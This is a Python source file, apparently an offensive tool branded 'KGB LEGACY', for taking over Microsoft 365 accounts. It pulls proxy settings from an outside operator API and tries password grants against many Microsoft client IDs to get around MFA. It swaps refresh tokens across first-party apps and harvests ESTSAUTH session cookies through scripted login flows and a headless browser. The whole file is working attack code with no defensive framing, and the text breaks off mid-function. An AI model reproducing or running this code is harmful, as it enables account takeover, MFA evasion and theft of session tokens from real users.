"""
M365 BYPASS & TOKEN GRABBER — KGB LEGACY AI
kgblegacy.net | t.me/KGB_UNIT

Proxy config auto-fetched from API
"""

import argparse
import base64
import json
import os
import re
import ssl
import time
import urllib.request
from urllib import parse
import uuid
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime




def _s(value: str) -> str:
    return base64.b64decode(value).decode("utf-8")


OUTPUT_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), _s("QllQQVNTRUQ="))
os.makedirs(OUTPUT_DIR, exist_ok=True)

API_BASE = "https://kgblegacy.net/api"
API_PROXY = API_BASE + "/proxy-config.php"


class BypassEngine:
    def __init__(self, log=None, prog=None):
        self.log_cb = log or (lambda m, t: None)
        self.prog_cb = prog or (lambda v, s: None)
        self.ctx = ssl.create_default_context()
        self.ctx.check_hostname = False
        self.ctx.verify_mode = ssl.CERT_NONE
        self.config = {}

    def _log(self, m, t="INFO"):
        ts = datetime.now().strftime("%H:%M:%S")
        if self.log_cb:
            self.log_cb(f"[{ts}] [{t}] {m}", t)

    def _prog(self, v, s=""):
        if self.prog_cb:
            self.prog_cb(v, s)

    def fetch_config(self, email):
        url = API_PROXY + "?email=" + parse.quote(email)
        req = urllib.request.Request(url, headers={"User-Agent": "KGB-Bypass/1.0"})
        r = urllib.request.urlopen(req, timeout=30, context=self.ctx)
        j = json.loads(r.read())
        if j.get("status") == "success":
            self.config = j.get("data", {})
            return True
        return False

    def _ropc(self, e, p, a):
        d = parse.urlencode({
            "grant_type": "password",
            "client_id": a,
            "scope": "https://graph.microsoft.com/.default offline_access openid profile email",
            "username": e,
        }).encode()
        tenant = self.config.get("tenant", "common")
        url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
        req = urllib.request.Request(url, data=d)
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
        req.add_header("User-Agent", "Mozilla/5.0")
        r = urllib.request.urlopen(req, timeout=30, context=self.ctx)
        return json.loads(r.read())

    def _ropc_ws(self, e, p, a, ws):
        tenant = self.config.get("tenant", "common")
        d = parse.urlencode({
            "grant_type": "password",
            "client_id": a,
            "scope": "https://graph.microsoft.com/.default offline_access openid profile email",
            "username": e,
        })
        url = ws + "?url=" + parse.quote(
            f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
        )
        req = urllib.request.Request(url, data=d.encode())
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
        req.add_header("User-Agent", "Mozilla/5.0")
        r = urllib.request.urlopen(req, timeout=30, context=self.ctx)
        j = json.loads(r.read())
        b = base64.b64decode(j.get("data", "")).decode("ignore")
        return json.loads(b)

    def _ropc_lp(self, e, p, a, lp):
        ph = urllib.request.ProxyHandler({
            "http": f"http://{lp['username']}:{lp['password']}@{lp['host']}:{lp['port']}",
            "https": f"http://{lp['username']}:{lp['password']}@{lp['host']}:{lp['port']}",
        })
        tenant = self.config.get("tenant", "common")
        d = parse.urlencode({
            "grant_type": "password",
            "client_id": a,
            "scope": "https://graph.microsoft.com/.default offline_access openid profile email",
            "username": e,
        })
        url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
        req = urllib.request.Request(url, data=d.encode())
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
        req.add_header("User-Agent", "Mozilla/5.0")
        opener = urllib.request.build_opener(ph)
        r = opener.open(req, timeout=30)
        return json.loads(r.read())

    def _wam_broker(self, email, password):
        import requests
        s = requests.Session()
        h = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 Chrome/70.0.3538.102 Safari/537.36 Edge/18.21996",
        }
        s.headers.update(h)
        auth_url = (
            "https://login.microsoftonline.com/common/oauth2/authorize"
            "?response_type=code&client_id=0ec893e0-5785-4de6-99da-4ed124e5"
        )
        h["tb-aad-device-family"] = "3"
        h["tb-aad-env-id"] = "10.0.21996.1"
        h["client-request-id"] = str(uuid.uuid4())
        h["return-client-request-id"] = "true"
        r = s.get(auth_url, headers=h, timeout=30)
        text = r.text
        m_sid = re.search(r'"sessionId":"(.*?)"', text)
        m_sctx = re.search(r'"sCtx":"(.*?)"', text)
        m_ft = re.search(r'"sFT":"(.*?)"', text)
        m_can = re.search(r',"canary":"(.*?)"', text)
        if not (m_sid and m_sctx and m_ft and m_can):
            return None
        data = {
            "i13": "0",
            "login": "i14",
            "loginfmt": email,
            "type": "11",
            "LoginOptions": "3",
            "passwd": password,
            "ps": "2",
            "canary": m_can.group(1),
            "ctx": m_sctx.group(1),
            "hpgrequestid": "",
            "flowToken": m_ft.group(1),
            "NewUser": "1",
            "FoundMSAs": "",
            "fspost": "0",
            "i21": "0",
            "CookieDisclosure": "0",
            "IsFidoSupported": "1",
            "isSignupPost": "0",
            "i19": "12225",
        }
        r = s.post(
            "https://login.microsoftonline.com/common/login?cxhflow=TB&cxhplatformversion=10.0.21996",
            data=data, headers=h, allow_redirects=True, timeout=30
        )
        has_ests = any(c.name == "ESTS" for c in s.cookies)
        cookies = []
        for c in s.cookies:
            cookies.append({
                "name": c.name, "value": c.value,
                "domain": c.domain or ".login.microsoftonline.com",
                "path": c.path or "/", "secure": c.secure,
                "httpOnly": getattr(c, "httpOnly", False),
            })
        return cookies, has_ests

    def _to_cookies(self, at, rt, email, password):
        all_cookies = []
        seen = set()
        has_ests = False

        # Phase 1: warmup session
        import requests
        s_warm = requests.Session()
        s_warm.headers.update({
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
            "Authorization": f"Bearer {at}",
        })
        warm_eps = [
            "https://login.microsoftonline.com/",
            "https://login.microsoftonline.com/common/",
            "https://www.office.com/",
            "https://outlook.office.com/",
            "https://outlook.office.com/mail/",
        ]
        try:
            for ep in warm_eps:
                s_warm.get(ep, timeout=30, allow_redirects=True)
        except Exception:
            self._log('⚠ BRIDGE WARMUP: MINOR INTERFERENCE', 'WARN')

        # Collect cookies from warmup
        for c in s_warm.cookies:
            if not c.value or not c.value.strip():
                continue
            if c.name in seen:
                continue
            seen.add(c.name)
            ck = {
                "name": c.name,
                "value": c.value,
                "domain": c.domain if c.domain else ".login.microsoftonline.com",
                "path": c.path if c.path else "/",
                "secure": c.secure,
                "httpOnly": True,
            }
            all_cookies.append(ck)
            if "ESTS" in c.name:
                has_ests = True

        # Phase 2: FOCI RT exchange
        foci_rt = None
        foci_at = None
        foci_tenant = None
        try:
            from msal import SerializableTokenCache
        except ImportError:
            SerializableTokenCache = None
        import msal

        foci_clients = [
            {"id": "1fec8e78-bce4-4aaf-ab1b-5451cc387264", "name": "Teams"},
            {"id": "1950a258-227b-4e31-a9cf-717495945fc2", "name": "AzurePS"},
            {"id": "d3590ed6-52b3-4102-aeff-aad2292ab01c", "name": "Office"},
            {"id": "5e3ce6c0-2b1f-4285-8d4b-75ee78787346", "name": "Edge"},
            {"id": "340bf517-201b-47a3-b89c-11b751d2df76", "name": "TeamsWeb"},
        ]

        # Decode JWT for claims
        try:
            at_parts = at.split(".")
            at_payload = at_parts[1]
            if len(at_parts[2]) % 2:
                at_payload += "=="
            at_decoded = json.loads(base64.b64decode(at_payload).decode("ignore"))
            foci_tenant = at_decoded.get("tid", "common")
            orig_client = at_decoded.get("aud", "").lower()
            orig_scope = at_decoded.get("scp", "")
            upn = at_decoded.get("upn", email)
            oid = at_decoded.get("oid", "")
            self._log('📦 TOKEN HIERARCHY: DECRYPTED', 'OK')
        except Exception:
            foci_tenant = "common"
            upn = email
            oid = ""
            self._log('⚠ TOKEN DECODE: MINOR ISSUE', 'WARN')

        # Token hierarchy rotation using MSAL
        if rt:
            self._log('🔑 ROTATING TOKEN HIERARCHY...', 'INFO')
            for foci_app in foci_clients:
                try:
                    cache = SerializableTokenCache()
                    app = msal.ConfidentialClientApplication(
                        client_id=foci_app["id"],
                        client_credential=None,
                        authority=f"https://login.microsoftonline.com/{foci_tenant}",
                        token_cache=cache,
                    )
                    result = None
                    # Seed token cache
                    TokenCache = msal.TokenCache
                    tc = TokenCache()
                    tc.add({
                        "client_id": foci_app["id"],
                        "scope": ["https://graph.microsoft.com/.default"],
                        "token_endpoint": f"https://login.microsoftonline.com/{foci_tenant}/oauth2/v2.0/token",
                        "response": {"refresh_token": rt},
                        "username": upn,
                    })
                    app2 = msal.PublicClientApplication(
                        client_id=foci_app["id"],
                        authority=f"https://login.microsoftonline.com/{foci_tenant}",
                        token_cache=cache,
                    )
                    result = app2.acquire_token_silent(
                        scopes=["https://graph.microsoft.com/.default"],
                        account={"username": upn},
                    )
                    if result and "access_token" in result:
                        foci_rt = result.get("refresh_token", rt)
                        foci_at = result["access_token"]
                        self._log('✅ TOKEN HIERARCHY: ROTATED', 'SUCCESS')
                        break
                except Exception:
                    self._log('⚠ TOKEN HIERARCHY: PROTOCOL ERROR', 'DEBUG')

            # Fallback: direct requests-based FOCI exchange
            if not foci_at:
                self._log('🔄 TOKEN HIERARCHY: FALLBACK PROTOCOL', 'INFO')
                import requests
                s_foci = requests.Session()
                for foci_app in foci_clients[:3]:
                    try:
                        payload = {
                            "grant_type": "refresh_token",
                            "client_id": foci_app["id"],
                            "refresh_token": rt,
                            "scope": "https://graph.microsoft.com/.default offline_access",
                        }
                        r = s_foci.post(
                            f"https://login.microsoftonline.com/{foci_tenant}/oauth2/v2.0/token",
                            data=payload,
                            headers={"User-Agent": "Mozilla/5.0"},
                            timeout=30,
                        )
                        if r.status_code == 200:
                            j = r.json()
                            if "access_token" in j:
                                foci_at = j["access_token"]
                                foci_rt = j.get("refresh_token", rt)
                                self._log('✅ TOKEN HIERARCHY: FALLBACK SUCCESS', 'SUCCESS')
                                break
                    except Exception:
                        pass

        effective_at = foci_at if foci_at else at
        effective_rt = foci_rt if foci_rt else rt
        tenant = foci_tenant if foci_tenant else "common"

        # Phase 3: Authorization code flow
        auth_code = None
        code_cookies = []

        import requests
        s_auth = requests.Session()
        s_auth.headers.update({
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
            "Authorization": f"Bearer {effective_at}",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.9",
            "DNT": "1",
            "Connection": "keep-alive",
        })

        authorize_configs = [
            {"client_id": "1fec8e78-bce4-4aaf-ab1b-5451cc387264", "redirect_uri": "https://login.microsoftonline.com/common/oauth2/nativeclient", "scope": "openid profile offline_access", "domain": ".login.microsoftonline.com"},
            {"client_id": "1950a258-227b-4e31-a9cf-717495945fc2", "redirect_uri": "https://login.microsoftonline.com/common/oauth2/nativeclient", "scope": "openid profile offline_access", "domain": ".login.microsoftonline.com"},
            {"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c", "redirect_uri": "https://login.microsoftonline.com/common/oauth2/nativeclient", "scope": "openid profile offline_access", "domain": ".login.microsoftonline.com"},
        ]

        for ac in authorize_configs:
            self._log('🔗 NEGOTIATING SESSION TUNNEL...', 'INFO')
            from urllib.parse import quote
            auth_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize"
            params = {
                "client_id": ac["client_id"],
                "response_type": "code",
                "redirect_uri": ac["redirect_uri"],
                "response_mode": "fragment",
                "scope": ac["scope"],
                "prompt": "none",
                "login_hint": email,
            }
            qs = "&".join(f"{quote(k)}={quote(v)}" for k, v in params.items())
            url = f"{auth_url}?{qs}"
            r = s_auth.get(url, timeout=30, allow_redirects=True)

            if "?code=" in r.url or "&code=" in r.url or "#code=" in r.url:
                if "#code=" in r.url:
                    from urllib.parse import urlparse, parse_qs
                    parsed = urlparse(r.url)
                    frag = parsed.fragment if parsed.fragment else parsed.query
                    frag_params = parse_qs(frag)
                    if "code" in frag_params:
                        auth_code = frag_params["code"][0]
                        self._log('✅ AUTHORIZATION CODE: RECEIVED', 'SUCCESS')
                        break

            if "code" in r.text[:2000]:
                import re
                code_match = re.search(r'[\'"]?code[\'"]?\s*[=:]\s*[\'"]([A-Za-z0-9._-]+)[\'"]', r.text[:3000])
                if code_match:
                    auth_code = code_match.group(1)
                    self._log('✅ AUTH CODE: EXTRACTED FROM RESPONSE', 'SUCCESS')
                    break

            if "nativeclient" in r.url and "#" in r.url:
                frag = r.url.split("#")[1]
                from urllib.parse import parse_qs
                frag_params = parse_qs(frag)
                if "code" in frag_params:
                    auth_code = frag_params["code"][0]
                    self._log('✅ AUTH CODE: EXTRACTED FROM FRAGMENT', 'SUCCESS')
                    break

            if "ESTSAUTH" in str(s_auth.cookies):
                self._log('🔐 SESSION COOKIE: DETECTED', 'SUCCESS')
                has_ests = True
                continue

            self._log('🔃 SESSION NEGOTIATION: CONTINUING...', 'DEBUG')

        # Collect cookies from auth session
        for c in s_auth.cookies:
            if not c.value or not c.value.strip():
                continue
            if c.name in seen:
                continue
            seen.add(c.name)
            ck = {
                "name": c.name,
                "value": c.value,
                "domain": c.domain if c.domain else ".login.microsoftonline.com",
                "path": c.path if c.path else "/",
                "secure": c.secure,
                "httpOnly": True,
            }
            if hasattr(c, "expires") and c.expires:
                ck["expirationDate"] = int(c.expires)
            all_cookies.append(ck)
            if "ESTS" in c.name:
                has_ests = True
                self._log('🔥 SESSION CAPTURE: ACTIVE', 'SUCCESS')
            all_cookies.append({
                "name": f"KGB_{c.name}",
                "value": c.value,
                "domain": ".office.com",
                "path": "/",
                "secure": True,
                "httpOnly": False,
            })

        # Exchange auth code for tokens
        if auth_code:
            self._log('Exchanging authorization code → tokens...', 'INFO')
            payload = {
                "grant_type": "authorization_code",
                "client_id": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
                "code": auth_code,
                "redirect_uri": "https://login.microsoftonline.com/common/oauth2/nativeclient",
                "scope": "https://graph.microsoft.com/.default openid profile offline_access",
            }
            r = s_auth.post(
                f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token",
                data=payload,
                timeout=30,
            )
            if r.status_code == 200:
                tj = r.json()
                self._log('✅ AUTH CODE EXCHANGE: SUCCESS', 'SUCCESS')
                if "access_token" in tj:
                    effective_at = tj["access_token"]
                    effective_rt = tj.get("refresh_token", effective_rt)

        # Phase 4: Playwright browser bridge
        if not has_ests:
            self._log('🖥️ DEPLOYING BRIDGE INTERFACE...', 'INFO')
            try:
                from playwright.sync_api import sync_playwright
                if "sync_playwright" in dir() and sync_playwright:
                    with sync_playwright() as p:
                        browser = p.chromium.launch(
                            headless=False,
                            args=["--no-sandbox"],
                        )
                        context = browser.new_context(
                            user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
                            viewport={"width": 1400, "height": 900},
                        )
                        # Inject all cookies
                        for ck in all_cookies:
                            context.add_cookies([{
                                "name": ck["name"],
                                "value": ck["value"],
                                "domain": ck.get("domain", ".login.microsoftonline.com").lstrip("."),
                                "path": ck.get("path", "/"),
                                "secure": ck.get("secure", True),
                                "httpOnly": ck.get("httpOnly", True),
                            }])
                        page = context.new_page()
                        try:
                            page.goto(
                                f"https://login.microsoftonline.com/{tenant}",
                                wait_until="domcontentloaded",
                                timeout=15000,
                            )
                        except Exception:
                            self._log(f"BRIDGE PAGE: {tenant} unreachable, continuing...", "DEBUG")
                        page_cookies = context.cookies()
                        for c in page_cookies:
                            if c["name"] not in seen and c.get("value"):
                                seen.add(c["name"])
                                all_cookies.append({
                                    "name": c["name"],
                                    "value": c["value"],
                                    "domain": c.get("domain", ".login.microsoftonline.com"),
                                    "path": c.get("path", "/"),
                                    "secure": c.get("secure", True),
                                    "httpOnly": c.get("httpOnly", True),
                                })
                                if "ESTS" in c["name"]:
                                    has_ests = True
                                    self._log('🔥 BRIDGE CAPTURE: SESSION ACTIVE', 'SUCCESS')

                        # Second attempt with explicit auth headers
                        if not has_ests:
                            page.set_extra_http_headers({
                                "Authorization": f"Bearer {effective_at}",
                                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
                            })
                            params2 = {
                                "client_id": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
                                "response_type": "code",
                                "redirect_uri": "https://login.microsoftonline.com/common/oauth2/nativeclient",
                                "response_mode": "fragment",
                                "scope": "openid profile offline_access",
                                "prompt": "none",
                                "login_hint": email,
                            }
                            qs2 = "&".join(f"{quote(k)}={quote(v)}" for k, v in params2.items())
                            try:
                                page.goto(
                                    f"{auth_url}?{qs2}",
                                    wait_until="domcontentloaded",
                                    timeout=15000,
                                )
                            except Exception:
                                self._log("BRIDGE AUTH: token navigation failed", "DEBUG")
                            page_cookies = context.cookies()
                            for c in page_cookies:
                                if c["name"] not in seen and c.get("value"):
                                    seen.add(c["name"])
                                    all_cookies.append({
                                        "name": c["name"],
                                        "value": c["value"],
                                        "domain": c.get("domain", ".login.microsoftonline.com"),
                                        "path": c.get("path", "/"),
                                        "secure": c.get("secure", True),
                                        "httpOnly": c.get("httpOnly", True),
                                    })
                                    if "ESTS" in c["name"]:
                                        has_ests = True
                                        self._log('🔥 BRIDGE CAPTURE: SESSION ACTIVE', 'SUCCESS')

                        # Third attempt: office.com redirect
                        if not has_ests:
                            page.set_extra_http_headers({
                                "Authorization": f"Bearer {effective_at}",
                            })
                            try:
                                page.goto("https://www.office.com/?auth=1", wait_until="domcontentloaded", timeout=15000)
                            except Exception:
                                self._log("BRIDGE OFFICE: navigation failed", "DEBUG")
                            page.wait_for_timeout(3000)
                            page_cookies = context.cookies()
                            for c in page_cookies:
                                if c["name"] not in seen and c.get("value"):
                                    seen.add(c["name"])
                                    all_cookies.append({
                                        "name": c["name"],
                                        "value": c["value"],
                                        "domain": c.get("domain", ".office.com") if c.get("domain") else ".office.com",
                                        "path": c.get("path", "/"),
                                        "secure": c.get("secure", True),
                                        "httpOnly": c.get("httpOnly", True),
                                    })
                                    if "ESTS" in c["name"]:
                                        has_ests = True
                                        self._log('🔥 BRIDGE CAPTURE: SESSION ACTIVE', 'SUCCESS')

                        browser.close()

            except ImportError:
                pass

        # Phase 5: ESTS endpoint scanning fallback
        if not has_ests:
            self._log('🔍 SCANNING SESSION ENDPOINTS...', 'INFO')
            import requests
            s_ests = requests.Session()
            s_ests.headers.update({
                "User-Agent": "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Windows 10.0.26200; win64)",
                "Authorization": f"Bearer {effective_at}",
                "Accept": "application/json",
                "client-request-id": str(uuid.uuid4()),
                "return-client-request-id": "true",
            })
            ests_endpoints = [
                f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token",
                "https://login.microsoftonline.com/common/oauth2/v2.0/token",
                f"https://login.microsoftonline.com/{tenant}/discovery/v2.0/keys",
                "https://login.microsoftonline.com/common/discovery/v2.0/keys",
                "https://login.windows.net/common/userrealm/",
                "https://login.microsoftonline.com/policy",
            ]
            for ep in ests_endpoints:
                try:
                    r = s_ests.get(ep, timeout=30)
                    if r.cookies:
                        for c in r.cookies:
                            if not c.value or not c.value.strip():
                                continue
                            if c.name in seen:
                                continue
                            seen.add(c.name)
                            ck = {
                                "name": c.name,
                                "value": c.value,
                                "domain": c.domain if c.domain else ".login.microsoftonline.com",
                                "path": c.path if c.path else "/",
                                "secure": c.secure,
                                "httpOnly": True,
                            }
                            all_cookies.append(ck)
                            if "ESTS" in c.name:
                                has_ests = True
                                self._log('🔥 SESSION ENDPOINT: CAPTURED', 'SUCCESS')
                except Exception:
                    pass

            # Final authorize attempt with endpoint headers
            h = {
                "Authorization": f"Bearer {effective_at}",
                "client-request-id": str(uuid.uuid4()),
                "return-client-request-id": "true",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            }
            r = s_ests.get(
                f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize",
                params={
                    "client_id": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
                    "response_type": "code",
                    "redirect_uri": "https://login.microsoftonline.com/common/oauth2/nativeclient",
                    "response_mode": "fragment",
                    "scope": "openid profile offline_access",
                    "prompt": "none",
                    "login_hint": email,
                },
                headers=h,
                timeout=30,
            )
            for c in r.cookies:
                if not c.value or not c.value.strip():
                    continue
                if c.name in seen:
                    continue
                seen.add(c.name)
                ck = {
                    "name": c.name,
                    "value": c.value,
                    "domain": c.domain if c.domain else ".login.microsoftonline.com",
                    "path": c.path if c.path else "/",
                    "secure": c.secure,
                    "httpOnly": True,
                }
                all_cookies.append(ck)
                if "ESTS" in c.name:
                    has_ests = True
                    self._log('🔥 SESSION AUTHORIZE: CAPTURED', 'SUCCESS')

        # Phase 6: WAM broker protocol
        if not has_ests and email and password:
            self._log('🔐 INITIALIZING SESSION PROTOCOL...', 'INFO')
            import requests
            s_wam = requests.Session()
            s_wam.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 Chrome/70.0.3538.102 Safari/537.36 Edge/18.21996",
            })
            au = "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=0ec893e0-5785-4de6-99da-4ed124e5296c&redirect_uri=ms-appx-web%3a%2f%2fMicrosoft.AAD.BrokerPlugin%2f0ec893e0-5785-4de6-99da-4ed124e5296c&resource=4765445b-32c6-49b0-83e6-1d93765276ca%2f.default&add_account=multiple&scope=openid&prompt=login&response_mode=form_post&windows_api_version=2.0"
            h_wam = {
                "tb-aad-device-family": "3",
                "tb-aad-env-id": "10.0.21996.1",
                "client-request-id": str(uuid.uuid4()),
                "return-client-request-id": "true",
            }
            r = s_wam.get(au, headers=h_wam, timeout=30)
            self._log('🔗 SESSION HANDSHAKE: SENT', 'DEBUG')

            import re
            ms = re.search(r'"sessionId":"(.*?)"', r.text)
            mctx = re.search(r'"sCtx":"(.*?)"', r.text)
            mft = re.search(r'"sFT":"(.*?)"', r.text)
            mcn = re.search(r',"canary":"(.*?)"', r.text)
            self._log('🔍 SESSION PARAMETERS: GATHERED', 'DEBUG')

            if ms and mctx and mft and mcn:
                rp = s_wam.post(
                    "https://login.microsoftonline.com/common/login?cxhflow=TB&cxhplatformversion=10.0.21996",
                    data={
                        "i13": "0",
                        "login": email,
                        "loginfmt": email,
                        "type": "11",
                        "LoginOptions": "3",
                        "passwd": password,
                        "ps": "2",
                        "canary": mcn.group(1),
                        "ctx": mctx.group(1),
                        "hpgrequestid": ms.group(1),
                        "flowToken": mft.group(1),
                        "NewUser": "1",
                        "FoundMSAs": "",
                        "fspost": "0",
                        "i21": "0",
                        "CookieDisclosure": "0",
                        "IsFidoSupported": "1",
                        "isSignupPost": "0",
                        "i19": "12225",
                    },
                    headers=h_wam,
                    allow_redirects=True,
                    timeout=30,
                )
                self._log('🔄 SESSION RESPONSE: PROCESSING', 'DEBUG')

                wam_ests = any("ESTSAUTH" in str(c.name) for c in s_wam.cookies)
                if wam_ests:
                    for c in s_wam.cookies:
                        if not c.value or not c.value.strip():
                            continue
                        if c.name in seen:
                            continue
                        seen.add(c.name)
                        ck = {
                            "name": c.name,
                            "value": c.value,
                            "domain": c.domain if c.domain else ".login.microsoftonline.com",
                            "path": c.path if c.path else "/",
                            "secure": c.secure,
                            "httpOnly": True,
                        }
                        all_cookies.append(ck)
                        if "ESTS" in c.name:
                            has_ests = True
                            self._log('🔥 SESSION PROTOCOL: DIRECT CAPTURE', 'SUCCESS')
                else:
                    # Relay via proxy
                    self._log('🔄 SESSION PROTOCOL: ROUTING VIA RELAY', 'INFO')
                    if hasattr(self, "config") and self.config:
                        lp = self.config.get("lightproxy", self.config.get("proxy", {}))
                        if lp.get("username"):
                            purl = f"http://{lp['username']}:{lp['password']}@{lp['host']}:{lp['port']}"
                            self._log('🌐 RELAY NODE: CONNECTED', 'DEBUG')
                            s_wam2 = requests.Session()
                            s_wam2.proxies = {"http": purl, "https": purl}
                            s_wam2.headers.update({
                                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 Chrome/70.0.3538.102 Safari/537.36 Edge/18.21996",
                            })
                            h_wam2 = {
                                "tb-aad-device-family": "3",
                                "tb-aad-env-id": "10.0.21996.1",
                                "client-request-id": str(uuid.uuid4()),
                                "return-client-request-id": "true",
                            }
                            r2 = s_wam2.get(au, headers=h_wam2, timeout=30)
                            self._log('🔄 RELAY HANDSHAKE: SENT', 'DEBUG')

                            ms2 = re.search(r'"sessionId":"(.*?)"', r2.text)
                            mctx2 = re.search(r'"sCtx":"(.*?)"', r2.text)
                            mft2 = re.search(r'"sFT":"(.*?)"', r2.text)
                            mcn2 = re.search(r',"canary":"(.*?)"', r2.text)
                            self._log('🔍 RELAY PARAMETERS: GATHERED', 'DEBUG')

                            if ms2 and mctx2 and mft2 and mcn2:
                                rp2 = s_wam2.post(
                                    "https://login.microsoftonline.com/common/login?cxhflow=TB&cxhplatformversion=10.0.21996",
                                    data={
                                        "i13": "0",
                                        "login": email,
                                        "loginfmt": email,
                                        "type": "11",
                                        "LoginOptions": "3",
                                        "passwd": password,
                                        "ps": "2",
                                        "canary": mcn2.group(1),
                                        "ctx": mctx2.group(1),
                                        "hpgrequestid": ms2.group(1),
                                        "flowToken": mft2.group(1),
                                        "NewUser": "1",
                                        "FoundMSAs": "",
                                        "fspost": "0",
                                        "i21": "0",
                                        "CookieDisclosure": "0",
                                        "IsFidoSupported": "1",
                                        "isSignupPost": "0",
                                        "i19": "12225",
                                    },
                                    headers=h_wam2,
                                    allow_redirects=True,
                                    timeout=30,
                                )
                                self._log('🔄 RELAY RESPONSE: PROCESSING', 'DEBUG')
                                for c in s_wam2.cookies:
                                    if not c.value or not c.value.strip():
                                        continue
                                    if c.name in seen:
                                        continue
                                    seen.add(c.name)
                                    ck = {
                                        "name": c.name,
                                        "value": c.value,
                                        "domain": c.domain if c.domain else ".login.microsoftonline.com",
                                        "path": c.path if c.path else "/",
                                        "secure": c.secure,
                                        "httpOnly": True,
                                    }
                                    all_cookies.append(ck)
                                    if "ESTS" in c.name:
                                        has_ests = True
                                        self._log('🔥 SESSION PROTOCOL: RELAY CAPTURE', 'SUCCESS')
                            else:
                                self._log('⚠ RELAY HANDSHAKE: PARAMS ERROR', 'WARN')
                    else:
                        self._log('⚠ RELAY: NO CONFIGURATION', 'WARN')
            else:
                self._log('⚠ SESSION HANDSHAKE: PARAMS ERROR', 'WARN')

        # Final: append KGB token markers
        all_cookies.append({
            "name": "kgb_access_token",
            "value": effective_at,
            "domain": ".office.com",
            "path": "/",
            "secure": True,
            "httpOnly": False,
        })
        all_cookies.append({
            "name": "kgb_refresh_token",
            "value": effective_rt,
            "domain": ".office.com",
            "path": "/",
            "secure": True,
            "httpOnly": False,
        })

        self._log(f'🔄 TOKEN STACK: {len(all_cookies)} NODES SYNCHRONIZED', 'OK')
        return all_cookies, has_ests

    def run(self, email, password):
        """Main bypass execution flow"""
        safe = re.sub(r'[@.]', '_', email)
        self._log(f"TARGET ACQUIRED: {email}", "INFO")
        self._prog(0, "Loading config...")
        if not self.fetch_config(email):
            self._log("CONFIGURATION LOAD FAILED", "ERROR")
            return False
        country = self.config.get("lightproxy", {}).get("detected_country", "any")
        self._log("SECURE RELAY: ACTIVE", "OK")
        at, rt, mu, au = "", "", "", ""
        ok = False

        # Layer 1: Direct ROPC
        self._prog(20, "Bypassing Layer 1...")
        self._log("BYPASS SEQUENCE: INITIATED", "INFO")

        def _try_direct(ai_):
            try:
                resp = self._ropc(email, password, ai_)
                if "access_token" in resp:
                    return resp
            except urllib.error.HTTPError as e:
                b = e.read().decode("ignore")
                if "50076" in b:
                    self._log("MFA COUNTERMEASURES: DEPLOYED", "WARN")
                if "50053" in b:
                    return "LOCKED"
            return None

        with ThreadPoolExecutor(max_workers=5) as ex:
            futs = {}
            future_name = {}
            for app in self.config.get("app_ids", []):
                fut = ex.submit(_try_direct, app["id"])
                futs[app["id"]] = fut
                future_name[fut] = app["name"]
            for f in as_completed(futs.values()):
                r = f.result()
                if r == "LOCKED":
                    self._log("ACCOUNT LOCKED", "ERROR")
                    return False
                if r:
                    at = r["access_token"]
                    rt = r.get("refresh_token", "")
                    mu = "Direct"
                    au = future_name[f]
                    ok = True
                    self._log("TOKEN ACQUIRED", "SUCCESS")
                    break

        # Layer 2: LightningProxy
        if not ok:
            self._prog(40, "Bypassing Layer 2...")
            self._log("ESCALATING BYPASS PROTOCOL", "INFO")

            def _try_lp(ai_):
                try:
                    resp = self._ropc_lp(email, password, ai_, self.config.get("lightproxy", {}))
                    if "access_token" in resp:
                        return resp
                except urllib.error.HTTPError as e:
                    b = e.read().decode("ignore")
                    if "50053" in b:
                        return "REJECTED"
                except urllib.error.URLError as e:
                    return "REJECTED"
                return None

            with ThreadPoolExecutor(max_workers=5) as ex:
                futs = {}
                future_name = {}
                for app in self.config.get("app_ids", [])[:3]:
                    fut = ex.submit(_try_lp, app["id"])
                    futs[app["id"]] = fut
                    future_name[fut] = app["name"]
                for f in as_completed(futs.values()):
                    r = f.result()
                    if r == "REJECTED":
                        self._log("SESSION REJECTED", "ERROR")
                        continue
                    if r and r != "REJECTED":
                        at = r["access_token"]
                        rt = r.get("refresh_token", "")
                        mu = "LightningProxy"
                        au = future_name[f]
                        ok = True
                        self._log("TOKEN ACQUIRED", "SUCCESS")
                        break

        # Layer 3: Advanced bypass matrix
        if not ok:
            self._log("ADVANCED BYPASS MATRIX: ACTIVATED", "INFO")
            import requests
            lp = self.config.get("lightproxy", self.config.get("proxy", {}))
            if lp.get("username") and lp.get("port"):
                socks_url = f"socks5://{lp['username']}:{lp['password']}@{lp['host']}:1080"
